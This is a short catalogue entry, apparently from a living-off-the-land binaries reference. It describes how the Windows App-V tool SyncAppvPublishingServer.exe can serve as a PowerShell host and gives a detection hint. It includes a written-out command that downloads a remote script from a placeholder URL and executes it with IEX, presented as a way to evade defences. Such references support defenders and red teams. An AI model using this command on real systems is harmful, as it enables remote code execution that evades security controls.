.. / SyncAppvPublishingServer.exe
Star

Used by App-v to get App-v server lists


Paths:


Resources:
https://twitter.com/monoxgas/status/895045566090010624

Acknowledgement:
Nick Landers - @monoxgas


Detection:
SyncAppvPublishingServer.exe should never be in use unless App-V is deployed



Execute

Example command on how inject Powershell code into the process
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
Usecase:Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1218